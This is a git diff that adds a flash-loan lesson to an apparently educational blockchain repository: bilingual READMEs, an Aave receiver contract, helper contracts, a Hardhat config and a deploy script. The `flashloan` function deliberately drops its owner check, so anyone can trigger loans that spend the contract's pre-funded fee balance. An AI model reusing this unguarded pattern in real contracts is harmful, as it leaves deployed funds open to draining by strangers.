     assert hay_token_exchange.ethPool() == 4168056018672890963
-    assert w3.eth.get_balance(hay_token_exchange.address) == 4168056018672890963
+    assert web3.eth.getBalance(hay_token_exchange.address) == 4168056018672890963
     assert hay_token_exchange.invariant() == 50016672224074691556000000000000000000
 
     eth_intermediate_balance = 831943981327109037
@@ -100,7 +100,7 @@ def test_token_to_token_payment(w3, HAY_token, BEE_token, hay_token_exchange, be
     assert bee_token_exchange.tokenPool() == 17151834628633326487
     assert bee_token_exchange.invariant() == 100028538731176018770023024800269163019
     assert BEE_token.balanceOf(bee_token_exchange) == 17151834628633326487
-    assert w3.eth.get_balance(bee_token_exchange.address) == 5831943981327109037
+    assert web3.eth.getBalance(bee_token_exchange.address) == 5831943981327109037
 
     assert HAY_token.balanceOf(accounts[2]) == 0
     assert HAY_token.balanceOf(accounts[3]) == 0
diff --git a/basic/20-flash-loan/README-CN.md b/basic/20-flash-loan/README-CN.md
new file mode 100644
index 000000000..0bec38dc6
--- /dev/null
+++ b/basic/20-flash-loan/README-CN.md
@@ -0,0 +1,31 @@
+中文 / [English](./README.md)
+
+# Flashloans 介绍  
+
+何为 闪电贷（flash loan）？你可以用代码来指定一系列的操作，只要你的操作能保证在一笔交易内完成还款，你就可以无条件地贷款。
+
+区块链上的一笔 “交易”（transaction）里可以做很多事情；你不仅可以转一次账，你甚至可以在一笔交易中完成 50 笔资金转移。因为智能合约就跟计算机程序一样，你发交易，就等同于 “调用某个智能合约里的某个函数”；一笔交易中可以调用很多个函数，自然也就能完成很多操作。
+
+“闪电贷” 所要求的是，所有的操作都必须在一笔交易内完成（如果不能在一笔交易内还款就不能贷出资金）。所以你必须把所有步骤都编程到一笔发往智能合约的交易里，把 “借款、转移（执行）、还款” 都包括进去。
+
+如果交易结束时你不能还款，则交易就会失败，就像所有事情都没有发生过一样。
+
+假设，一开始闪电贷合约给了你 1 万 ETH，如果交易结束时没有还上 1 万 ETH，那就相当于你从来没借出过 1 万 ETH，因为当节点在执行交易时，只要交易失败，则这笔交易中的所有操作都会全部回滚，就像没事发生过。
+
+很反直觉对吧？要是没有执行所有操作并成功返回足够的资金，那些 ETH 就跟没有动过一样。
+
+好吧，我们也觉得这就是魔法。这种魔法是一个图灵完备的网络（图灵完备的编程语言 + 可自动执行的 “账户” 即智能合约）上的最新发明。
+
+所有运行以太坊软件的计算机节点都运行着这个闪电贷智能合约，当这个程序（智能合约）被上链的的交易激活之后，就相当于合约在执行这笔交易指定的操作，如果最后能完成还款，则合约传出 “执行成功”，整个网络的状态完成更改；而如果不能完成还款，合约传出 “失败”，交易影响到的其它合约状态更改失败，被改变的只有闪电贷合约的状态。
+
+## 操作步骤   
+分别进入到 `aave`、`dydx`、`uniswapv2`、`uniswapv3` 子目录中，根据 readme 进行相应的操作。
+ 
+## 参考链接
+
+- [对比 Aave、dYdX 和 Uniswap 三家的闪电贷](https://mp.weixin.qq.com/s/GSnb81C0vI6sgyrWpPqqwg)
+- https://ethfans.org/posts/flash-loans-as-an-example-what-can-a-transaction-reach
+- https://github.com/austintgriffith/scaffold-eth
+- https://soliditydeveloper.com/eip-3156
+- https://learnblockchain.cn/article/2856
+- https://mp.weixin.qq.com/s/APAUeoPl2s-t0VIiP3IASA
diff --git a/basic/20-flash-loan/README.md b/basic/20-flash-loan/README.md
new file mode 100644
index 000000000..407a6079b
--- /dev/null
+++ b/basic/20-flash-loan/README.md
@@ -0,0 +1,31 @@
+[中文](./README-CN.md) / English
+
+# Flashloans introduce  
+
+What is a so-called flash loan? You can look at it as a bunch of operations that can be controlled by codes, as long as your all operations (including repayment) can be finished in a transaction, you can loan it unconditionally.
+
+You can do a lot of things in a single transaction in the blockchain; not only one time transfer, but you can also do it even 50 times, because the smart contract is just like a computer program, when you start a transaction, it's equally you call some functions in some smart contract. You can call several functions in a transaction, so you can do a lot of operations as well.
+
+As stated earlier, the flash loan requires that you need all your operations to be finished in a transaction(if you can't do it, then you can't loan). So you have to make sure you had programmed all the steps you can think about into one transaction; don't forget "loan, transfer(actions), repayment".
+
+If you can't repay when the transaction closes, the transaction will fail as if nothing had happened.
+
+For example, the flash loan has loaned you ten thousand eths, once you don't repay it at the end of the transaction, it will be like you have never loaned these eths, because when the node executes the transaction, and the transaction fails, all the actions in this transaction will be rolling back.
+
+Amazing, right? If we don't execute all operations and return enough funds successfully, those ETHs are as if they haven't been used.
+
+Well, we do think this is a kind of magic too, which is the latest invention on a Turing-complete network (a Turing-complete programming language + self-executing "accounts" or smart contracts).
+
+All nodes running the Ethereum also run this flash loan smart contract. When the program (smart contract) is activated by the transaction on the chain, it is equal to the contract executing the operation specified by the transaction. If repayment can successfully be done, the contract will report "successful execution", and the state of the whole network will be changed; if the repayment can't be completed, the contract will report "failure", and the only changed status will be in the flash loan contract.
+
+## steps   
+Get into the sub folder of `aave, dydx, uniswapv2, uniswapv3`, follow the guides of the readme
+ 
+## Reference link
+
+- [A comparison of flash loans from Aave, dYdX and Uniswap](https://mp.weixin.qq.com/s/GSnb81C0vI6sgyrWpPqqwg)
+- https://ethfans.org/posts/flash-loans-as-an-example-what-can-a-transaction-reach
+- https://github.com/austintgriffith/scaffold-eth
+- https://soliditydeveloper.com/eip-3156
+- https://learnblockchain.cn/article/2856
+- https://mp.weixin.qq.com/s/APAUeoPl2s-t0VIiP3IASA
diff --git a/basic/20-flash-loan/aave/.env.example b/basic/20-flash-loan/aave/.env.example
new file mode 100644
index 000000000..b1f00d8b4
--- /dev/null
+++ b/basic/20-flash-loan/aave/.env.example
@@ -0,0 +1,2 @@
+INFURA_ID = ""
+PRIVATE_KEY = "1111111111111111111111111111111111111111111111111111111111111111"
\ No newline at end of file
diff --git a/basic/20-flash-loan/aave/.gitignore b/basic/20-flash-loan/aave/.gitignore
new file mode 100644
index 000000000..fbe3bfc1c
--- /dev/null
+++ b/basic/20-flash-loan/aave/.gitignore
@@ -0,0 +1,10 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
+FlashLoanAddress.json
\ No newline at end of file
diff --git a/basic/20-flash-loan/aave/README-CN.md b/basic/20-flash-loan/aave/README-CN.md
new file mode 100644
index 000000000..10b43a398
--- /dev/null
+++ b/basic/20-flash-loan/aave/README-CN.md
@@ -0,0 +1,105 @@
+中文 / [English](./README.md)
+
+# 简介  
+下面将介绍  Flashloan 合约的功能，以及如何使用 Flashloan 合约在 AAVE 上进行借贷
+
+## 闪电贷智能合约逻辑说明
+### Flashloan 说明   
+来看下 `contracts/Flashloan.sol`  
+```solidity
+
+import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/FlashLoanReceiverBase.sol";
+import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPoolAddressesProvider.sol";
+import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPool.sol";
+
+contract Flashloan is FlashLoanReceiverBase {
+    constructor(address _addressProvider) FlashLoanReceiverBase(_addressProvider) public {}
+}
+```  
+
+这是导入所必要的依赖项，Flashloan 合约继承自`FlashLoanReceiverBase`，它是一个抽象合约，提供了一些有用的方法，比如如偿还闪电贷的方式。 Flashloan.sol 构造函数接受 Aave 的一个贷款池提供者的地址。我们会稍后将介绍。   
+
+### flashloan 方法   
+我们先来看 flashLoan 函数。
+
+```solidity
+function flashloan(address _asset) public { // 去掉 onlyOwner，任何人都可调用 flashloan
+    bytes memory data = "";
+    uint amount = 1 ether;
+
+    ILendingPool lendingPool = ILendingPool(addressesProvider.getLendingPool());
+    lendingPool.flashLoan(address(this), _asset, amount, data);
+}
+```
+
+flashLoan 的参数`_asset`是我们要用闪电贷借款的资产地址，比如 ETH 或 DAI。
+
+`uint amount = 1 ether;`
+在这里，我们定义的借款金额的单位是`ether`，如果把 ETH 地址传过去，我们就会借到 1 个 ETH，即 10^18 wei。如果把 DAI 地址传给 `_asset`，我们就会借到 1 个 DAI。  
+
+现在，我们可以使用 Aave 提供的 `ILendingPool`接口，调用`flashLoan`函数，其中包含所有需要的参数，如我们想要借入的资产、该资产的金额和一个额外的`data`参数。  
+
+我们还要关注 `executeOperation`   
+
+### executeOperation 方法
+
+`executeOperation` 函数将被 `LendingPool` 合约在闪电贷中请求有效的资产后被调用。
+
+```solidity
+    function executeOperation(
+        address _reserve, uint256 _amount,
+        uint256 _fee, bytes calldata _params
+    )
+        external override
+    {
+        require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance, was the flashLoan successful?");
+
+        //
+        // Your logic goes here.
+        // !! Ensure that *this contract* has enough of `_reserve` funds to payback the `_fee` !!
+        //
+
+        uint totalDebt = _amount.add(_fee);
+        transferFundsBackToPoolInternal(_reserve, totalDebt);
+    }
+```
+
+在使用 `flashLoan` 函数触发有效的闪电贷后，`executeOperation` 函数的所有参数都将被自动传递，`require` 用来确保收到的闪电贷金额是否正确。
+
+接下来，我们可以插入任何想要执行的逻辑。在这个步骤中，我们拥有了来自闪电贷的所有可用资金，因此，我们可以尝试套利机会。
+
+我们在用完闪电贷后，就需要偿还资金了。
+
+`uint totalDebt = _amount.add(_fee);`
+
+在这里，我们要计算还多少钱，也就是 **借款金额 + 借款金额的 0.09%(Aave 的闪电贷需要手续费)**。
+
+最后一步就是调用 `transferFundsBackToPoolInternal` 来偿还闪电贷。
+
+## 操作步骤
+- 安装依赖  
+```shell
+yarn
+```
+
+- 配置环境变量  
+```shell
+cp .env.example .env
+# 在 .env 中配置  INFURA_ID , PRIVATE_KEY
+```
+
+- 部署合约  
+```shell
+# 这里使用 kovan 测试网进行测试
+npx hardhat run scripts/deploy_aave_flashloan.js --network kovan
+```
+
+- 发起闪电贷
+```shell
+npx hardhat test --network kovan
+# 交易完成后，根据答应的 tx hash 检查交易细节
+```
+
+## 参考
+
+- AAVE flashLoan 介绍： https://finematics.com/how-to-code-a-flash-loan-with-aave/  
diff --git a/basic/20-flash-loan/aave/README.md b/basic/20-flash-loan/aave/README.md
new file mode 100644
index 000000000..8d9fc4305
--- /dev/null
+++ b/basic/20-flash-loan/aave/README.md
@@ -0,0 +1,104 @@
+[中文](./README-CN.md) / English
+
+# Introduce  
+Here we will intro the functions of Flashloan contract, and how to use this to loan on AAVE
+
+## explanatory of logical of flash loan smart contract  
+### Flashloan illustrate  
+let's get into `contracts/Flashloan.sol`  
+```solidity
+
+import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/FlashLoanReceiverBase.sol";
+import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPoolAddressesProvider.sol";
+import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPool.sol";
+
+contract Flashloan is FlashLoanReceiverBase {
+    constructor(address _addressProvider) FlashLoanReceiverBase(_addressProvider) public {}
+}
+```  
+
+We import the required dependence in abouve codes, the contract `Flashloan` is inherit from `FlashLoanReceiverBase` which is a abostract contract, supply several convinience functions, such as the way to repay the flash loan. The constraction function (constructor) of Flashloan.sol accept a loan pool supplier address on Aave. We will explain this later.
+
+### The flashloan function  
+Well, let's take a look of flashloan function
+
+```solidity
+function flashloan(address _asset) public { // 去掉 onlyOwner，任何人都可调用 flashloan
+    bytes memory data = "";
+    uint amount = 1 ether;
+
+    ILendingPool lendingPool = ILendingPool(addressesProvider.getLendingPool());
+    lendingPool.flashLoan(address(this), _asset, amount, data);
+}
+```
+
+The paramater `_asset` of flashLoan is the address of where will we use flashloan to loan, like ETH or DAI.
+
+`uint amount = 1 ether;`
+In here, we define the loan count unit as `ether`, if we pass the ETH address in, we will take loan 1 ETH , thus 10^18 wei. And if we send DAI address to `_asset`, we will get loan 1 DAI! 
+
+For now, we can call the function `flashLoan` by using `ILendingPool` interfase which from Aave, it contains all paramaters we need, such as assets of we want loan, the count of it and a extra `data` param.
+
+Next, we focus on `executeOperation`  
+
+### The executeOperation function
+The `executeOperation` function will be called after contract `LendingPool` get valid assets in flashloan.
+
+```solidity
+    function executeOperation(
+        address _reserve, uint256 _amount,
+        uint256 _fee, bytes calldata _params
+    )
+        external override
+    {
+        require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance, was the flashLoan successful?");
+
+        //
+        // Your logic goes here.
+        // !! Ensure that *this contract* has enough of `_reserve` funds to payback the `_fee` !!
+        //
+
+        uint totalDebt = _amount.add(_fee);
+        transferFundsBackToPoolInternal(_reserve, totalDebt);
+    }
+```
+
+When we triggered valid flashloan with `flashLoan` function, the all paramaters in `executeOperation` will be passed automatically, and we use `require` to make sure whether we had get the right amount of assets from flashloan.
+
+Then, we can insert any logical we want to excute. In this step, we had have all usable fund from flashloan, and we can use it to have a arbitrage.
+
+After we used flashloan, it's repay time.
+
+`uint totalDebt = _amount.add(_fee);`
+
+In here, we need caculate how much we need repay, which is **loan amount + 0.09% of loan amount (Borrowing charge of Aave flashloan)**.
+
+The final step is calling `transferFundsBackToPoolInternal` to repay the flashloan.
+
+## Steps
+- Install dependencies
+```shell
+yarn
+```
+
+- Config the params of envrioument  
+```shell
+cp .env.example .env
+# set INFURA_ID , PRIVATE_KEY in .env
+```
+
+- Deploy the contract 
+```shell
+# we use test net kovan to have test
+npx hardhat run scripts/deploy_aave_flashloan.js --network kovan
+```
+
+- Start flashloan
+```shell
+npx hardhat test --network kovan
+# After transaction finished, we can check transaction details by returned tx hash
+```
+
+## Reference link
+
+- AAVE flashLoan intro: https://finematics.com/how-to-code-a-flash-loan-with-aave/  
diff --git a/basic/20-flash-loan/aave/contracts/Flashloan.sol b/basic/20-flash-loan/aave/contracts/Flashloan.sol
new file mode 100644
index 000000000..185ce4439
--- /dev/null
+++ b/basic/20-flash-loan/aave/contracts/Flashloan.sol
@@ -0,0 +1,52 @@
+pragma solidity ^0.8.0;
+
+import "./aave/FlashLoanReceiverBase.sol";
+import "./aave/ILendingPoolAddressesProvider.sol";
+import "./aave/ILendingPool.sol";
+import '@openzeppelin/contracts/utils/math/SafeMath.sol';
+
+contract Flashloan is FlashLoanReceiverBase {
+
+    // address public kovanWETHAddr = 0xd0A1E359811322d97991E03f863a0C30C2cF029C;
+    // address public kovanDaiAddr = 0xFf795577d9AC8bD7D90Ee22b6C1703490b6512FD;
+    // address public kovanAaveLendingPoolAddr = 0x506B0B2CF20FAA8f38a4E2B524EE43e1f4458Cc5;
+    using SafeMath for uint256;
+    event TotalDebt( uint256 totalDebt);
+
+
+    constructor(address _addressProvider) FlashLoanReceiverBase(_addressProvider) public {}
+
+    /**
+        This function is called after your contract has received the flash loaned amount
+     */
+    function executeOperation(
+        address _reserve,
+        uint256 _amount,
+        uint256 _fee,
+        bytes calldata _params
+    )
+        external override
+    {
+        require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance, was the flashLoan successful?");
+
+        //
+        // Your logic goes here.
+        // !! Ensure that *this contract* has enough of `_reserve` funds to payback the `_fee` !!
+        //
+
+        uint totalDebt = _amount.add(_fee);
+        emit TotalDebt(totalDebt);
+        transferFundsBackToPoolInternal(_reserve, totalDebt);
+    }
+
+    /**
+        Flash loan 1000000000000000000 wei (1 ether) worth of `_asset`
+     */
+    function flashloan(address _asset) public {
+        bytes memory data = "";
+        uint amount = 1 ether;
+
+        ILendingPool lendingPool = ILendingPool(addressesProvider.getLendingPool());
+        lendingPool.flashLoan(address(this), _asset, amount, data);
+    }
+}
diff --git a/basic/20-flash-loan/aave/contracts/aave/FlashLoanReceiverBase.sol b/basic/20-flash-loan/aave/contracts/aave/FlashLoanReceiverBase.sol
new file mode 100644
index 000000000..6f8996f78
--- /dev/null
+++ b/basic/20-flash-loan/aave/contracts/aave/FlashLoanReceiverBase.sol
@@ -0,0 +1,47 @@
+pragma solidity ^0.8.0;
+
+import '@openzeppelin/contracts/utils/math/SafeMath.sol';
+import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
+import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
+import './IFlashLoanReceiver.sol';
+import './ILendingPoolAddressesProvider.sol';
+import '../utils/Withdrawable.sol';
+
+abstract contract FlashLoanReceiverBase is IFlashLoanReceiver, Withdrawable {
+    using SafeERC20 for IERC20;
+    using SafeMath for uint256;
+
+    address constant ethAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
+    ILendingPoolAddressesProvider public addressesProvider;
+
+    constructor(address _addressProvider) {
+        addressesProvider = ILendingPoolAddressesProvider(_addressProvider);
+    }
+
+    receive() external payable {}
+
+    function transferFundsBackToPoolInternal(address _reserve, uint256 _amount) internal {
+        address payable core = addressesProvider.getLendingPoolCore();
+        transferInternal(core, _reserve, _amount);
+    }
+
+    function transferInternal(
+        address payable _destination,
+        address _reserve,
+        uint256 _amount
+    ) internal {
+        if (_reserve == ethAddress) {
+            (bool success, ) = _destination.call{value: _amount}('');
+            require(success == true, "Couldn't transfer ETH");
+            return;
+        }
+        IERC20(_reserve).safeTransfer(_destination, _amount);
+    }
+
+    function getBalanceInternal(address _target, address _reserve) internal view returns (uint256) {
+        if (_reserve == ethAddress) {
+            return _target.balance;
+        }
+        return IERC20(_reserve).balanceOf(_target);
+    }
+}
diff --git a/basic/20-flash-loan/aave/contracts/aave/IFlashLoanReceiver.sol b/basic/20-flash-loan/aave/contracts/aave/IFlashLoanReceiver.sol
new file mode 100644
index 000000000..f6cb1e034
--- /dev/null
+++ b/basic/20-flash-loan/aave/contracts/aave/IFlashLoanReceiver.sol
@@ -0,0 +1,11 @@
+pragma solidity ^0.8.0;
+
+/**
+* @title IFlashLoanReceiver interface
+* @notice Interface for the Aave fee IFlashLoanReceiver.
+* @author Aave
+* @dev implement this interface to develop a flashloan-compatible flashLoanReceiver contract
+**/
+interface IFlashLoanReceiver {
+    function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external;
+}
\ No newline at end of file
diff --git a/basic/20-flash-loan/aave/contracts/aave/ILendingPool.sol b/basic/20-flash-loan/aave/contracts/aave/ILendingPool.sol
new file mode 100644
index 000000000..46fc7aaca
--- /dev/null
+++ b/basic/20-flash-loan/aave/contracts/aave/ILendingPool.sol
@@ -0,0 +1,19 @@
+pragma solidity ^0.8.0;
+
+interface ILendingPool {
+  function addressesProvider () external view returns ( address );
+  function deposit ( address _reserve, uint256 _amount, uint16 _referralCode ) external payable;
+  function redeemUnderlying ( address _reserve, address _user, uint256 _amount ) external;
+  function borrow ( address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode ) external;
+  function repay ( address _reserve, uint256 _amount, address _onBehalfOf ) external payable;
+  function swapBorrowRateMode ( address _reserve ) external;
+  function rebalanceFixedBorrowRate ( address _reserve, address _user ) external;
+  function setUserUseReserveAsCollateral ( address _reserve, bool _useAsCollateral ) external;
+  function liquidationCall ( address _collateral, address _reserve, address _user, uint256 _purchaseAmount, bool _receiveAToken ) external payable;
+  function flashLoan ( address _receiver, address _reserve, uint256 _amount, bytes calldata _params ) external;
+  function getReserveConfigurationData ( address _reserve ) external view returns ( uint256 ltv, uint256 liquidationThreshold, uint256 liquidationDiscount, address interestRateStrategyAddress, bool usageAsCollateralEnabled, bool borrowingEnabled, bool fixedBorrowRateEnabled, bool isActive );
+  function getReserveData ( address _reserve ) external view returns ( uint256 totalLiquidity, uint256 availableLiquidity, uint256 totalBorrowsFixed, uint256 totalBorrowsVariable, uint256 liquidityRate, uint256 variableBorrowRate, uint256 fixedBorrowRate, uint256 averageFixedBorrowRate, uint256 utilizationRate, uint256 liquidityIndex, uint256 variableBorrowIndex, address aTokenAddress, uint40 lastUpdateTimestamp );
+  function getUserAccountData ( address _user ) external view returns ( uint256 totalLiquidityETH, uint256 totalCollateralETH, uint256 totalBorrowsETH, uint256 availableBorrowsETH, uint256 currentLiquidationThreshold, uint256 ltv, uint256 healthFactor );
+  function getUserReserveData ( address _reserve, address _user ) external view returns ( uint256 currentATokenBalance, uint256 currentUnderlyingBalance, uint256 currentBorrowBalance, uint256 principalBorrowBalance, uint256 borrowRateMode, uint256 borrowRate, uint256 liquidityRate, uint256 originationFee, uint256 variableBorrowIndex, uint256 lastUpdateTimestamp, bool usageAsCollateralEnabled );
+  function getReserves () external view;
+}
\ No newline at end of file
diff --git a/basic/20-flash-loan/aave/contracts/aave/ILendingPoolAddressesProvider.sol b/basic/20-flash-loan/aave/contracts/aave/ILendingPoolAddressesProvider.sol
new file mode 100644
index 000000000..031570ea2
--- /dev/null
+++ b/basic/20-flash-loan/aave/contracts/aave/ILendingPoolAddressesProvider.sol
@@ -0,0 +1,11 @@
+pragma solidity ^0.8.0;
+
+/**
+    @title ILendingPoolAddressesProvider interface
+    @notice provides the interface to fetch the LendingPoolCore address
+ */
+
+interface ILendingPoolAddressesProvider {
+    function getLendingPoolCore() external view returns (address payable);
+    function getLendingPool() external view returns (address);
+}
\ No newline at end of file
diff --git a/basic/20-flash-loan/aave/contracts/utils/Withdrawable.sol b/basic/20-flash-loan/aave/contracts/utils/Withdrawable.sol
new file mode 100644
index 000000000..922b8b553
--- /dev/null
+++ b/basic/20-flash-loan/aave/contracts/utils/Withdrawable.sol
@@ -0,0 +1,34 @@
+pragma solidity ^0.8.0;
+
+import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
+import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
+import '@openzeppelin/contracts/access/Ownable.sol';
+
+/**
+    Ensures that any contract that inherits from this contract is able to
+    withdraw funds that are accidentally received or stuck.
+ */
+
+contract Withdrawable is Ownable {
+    using SafeERC20 for ERC20;
+    address constant ETHER = address(0);
+
+    event LogWithdraw(address indexed _from, address indexed _assetAddress, uint256 amount);
+
+    /**
+     * @dev Withdraw asset.
+     * @param _assetAddress Asset to be withdrawn.
+     */
+    function withdraw(address _assetAddress) public onlyOwner {
+        uint256 assetBalance;
+        if (_assetAddress == ETHER) {
+            address self = address(this); // workaround for a possible solidity bug
+            assetBalance = self.balance;
+            payable(msg.sender).transfer(assetBalance);
+        } else {
+            assetBalance = ERC20(_assetAddress).balanceOf(address(this));
+            ERC20(_assetAddress).safeTransfer(msg.sender, assetBalance);
+        }
+        emit LogWithdraw(msg.sender, _assetAddress, assetBalance);
+    }
+}
diff --git a/basic/20-flash-loan/aave/hardhat.config.js b/basic/20-flash-loan/aave/hardhat.config.js
new file mode 100644
index 000000000..a0b7c70ca
--- /dev/null
+++ b/basic/20-flash-loan/aave/hardhat.config.js
@@ -0,0 +1,71 @@
+require('@nomiclabs/hardhat-waffle');
+const fs = require('fs');
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: '0.6.12',
+      },
+      {
+        version: '0.5.4',
+      },
+      {
+        version: '0.4.18',
+        settings: {},
+      },
+      {
+        version: '0.8.1',
+        settings: {},
+      },
+    ],
+  },
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: 'https://rinkeby.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    kovan: {
+      url: 'https://kovan.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    ropsten: {
+      url: 'https://ropsten.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    matic: {
+      url: "https://rpc-mumbai.maticvigil.com",
+      accounts: [mnemonic()]
+    }
+  },
+};
diff --git a/basic/20-flash-loan/aave/package.json b/basic/20-flash-loan/aave/package.json
new file mode 100644
index 000000000..7a830d8a3
--- /dev/null
+++ b/basic/20-flash-loan/aave/package.json
@@ -0,0 +1,27 @@
+{
+  "name": "aave-flashloan",
+  "description": "A truffle box containing all you need to get started with developing flash loans",
+  "version": "0.1.0",
+  "author": "Rebase Team",
+  "license": "BSD-3-Clause",
+  "contributors": [
+    "David Truong <david@aave.com>"
+  ],
+  "homepage": "",
+  "repository": "https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/20-flash-loan/aave",
+  "scripts": {
+    "test": "npx hardhat test"
+  },
+  "dependencies": {
+    "@openzeppelin/contracts": "^4.0.0",
+    "dotenv": "^10.0.0"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.5",
+    "@nomiclabs/hardhat-waffle": "^2.0.2",
+    "chai": "^4.3.6",
+    "ethereum-waffle": "^3.4.0",
+    "ethers": "^5.5.4",
+    "hardhat": "^2.8.4"
+  }
+}
diff --git a/basic/20-flash-loan/aave/scripts/deploy_aave_flashloan.js b/basic/20-flash-loan/aave/scripts/deploy_aave_flashloan.js
new file mode 100644
index 000000000..a888aa059
--- /dev/null
+++ b/basic/20-flash-loan/aave/scripts/deploy_aave_flashloan.js
@@ -0,0 +1,72 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const hre = require('hardhat');
+const fs = require('fs');
+
+async function main() {
+  let lendingPoolProviderAddr;
+  let network = hre.hardhatArguments.network;
+
+  switch (network) {
+    case 'ropsten':
+      lendingPoolProviderAddr = '0x1c8756FD2B28e9426CDBDcC7E3c4d64fa9A54728';
+      break;
+    case 'kovan':
+      lendingPoolProviderAddr = '0x506B0B2CF20FAA8f38a4E2B524EE43e1f4458Cc5';
+      break;
+    case 'matic':
+      lendingPoolProviderAddr = '0x87A5b1cD19fC93dfeb177CCEc3686a48c53D65Ec';
+      break;
+    default:
+      throw console.error(`Are you deploying to the correct network? (network selected: ${network})`);
+  }
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  const flashloanFactory = await ethers.getContractFactory('Flashloan');
+  const flashloan = await flashloanFactory.deploy(lendingPoolProviderAddr);
+
+  await flashloan.deployed();
+
+
+  console.log('Flashloan deployed to:', flashloan.address);
+
+  // // Writer Contract address to file
+  // const flashLoanAddressFile = __dirname + '/../FlashLoanAddress.json';
+  // fs.writeFileSync(flashLoanAddressFile, JSON.stringify({ address: flashloan.address }, undefined, 2));
+
+  //----------start flash loan
+  let amountInEther = '0.02';
+  // Create a transaction object
+  let transferTX = {
+    // transfer ether to flashLoanAddress to pay for flashloan fee
+    to: flashloan.address,
+    // Convert currency unit from ether to wei
+    value: ethers.utils.parseEther(amountInEther),
+  };
+
+  // Send a transaction
+  let recipt = await deployer.sendTransaction(transferTX);
+  await recipt.wait();
+  console.log('send 0.02eth to contract for flashloan fee ');
+
+  let asset = '0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE';
+  // do flashloan
+  let res = await flashloan.flashloan(asset, { gasLimit: 250000 });
+  let res1 = await res.wait();
+  console.log(`Flashloan successfully, please check tx hash ${res.hash} for more details `);
+  //console.log(res1.logs[1]);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/20-flash-loan/aavev3/.env.example b/basic/20-flash-loan/aavev3/.env.example
new file mode 100644
index 000000000..42a2b10f6
--- /dev/null
+++ b/basic/20-flash-loan/aavev3/.env.example
@@ -0,0 +1,2 @@
+INFURA_ID = ""
+PRIVATE_KEY = ""
\ No newline at end of file
diff --git a/basic/20-flash-loan/aavev3/.gitignore b/basic/20-flash-loan/aavev3/.gitignore
new file mode 100644
index 000000000..71f6a160f
--- /dev/null
+++ b/basic/20-flash-loan/aavev3/.gitignore
@@ -0,0 +1,11 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+typechain-types
+
+#Hardhat files
+cache
+artifacts
+
diff --git a/basic/20-flash-loan/aavev3/README-CN.md b/basic/20-flash-loan/aavev3/README-CN.md
new file mode 100644
index 000000000..d515ce580
--- /dev/null
+++ b/basic/20-flash-loan/aavev3/README-CN.md
@@ -0,0 +1,167 @@
+中文 / [English](./README.md)
+
+# AAVE v3 闪电贷介绍
+
+1. 您的合约调用 Pool 合约，使用 flashLoanSimple() 或 flashLoan() 请求一定数量储备金的闪电贷。
+2. 经过一些合理性检查后，Pool 将请求的储备金额转移到您的合约，然后在接收方合约上调用 executeOperation()。
+3. 你的合约现在持有闪贷金额，在其代码中执行任意操作。
+   1. 如果您正在执行 flashLoanSimple，那么当您的代码完成后，您批准 Pool 以获得闪电贷款金额 + 费用。
+   2. 如果您正在执行闪贷，那么对于所有准备金，取决于为资产传递的利率模式，池必须获得闪贷金额 + 费用的批准，或者必须有足够的抵押品或信用委托才能开立债务头寸。
+   3. 如果欠款不可用（由于缺乏余额或批准或债务抵押品不足），则交易将被撤销。
+4. 以上所有发生在 1 笔交易中（因此在单个以太坊区块中）。
+
+## 闪电贷智能合约逻辑说明
+### Flashloan 说明   
+来看下 `contracts/SimpleFlashLoan.sol`  (aave v3版本)
+```solidity
+
+import "https://github.com/aave/aave-v3-core/blob/master/contracts/flashloan/base/FlashLoanSimpleReceiverBase.sol";
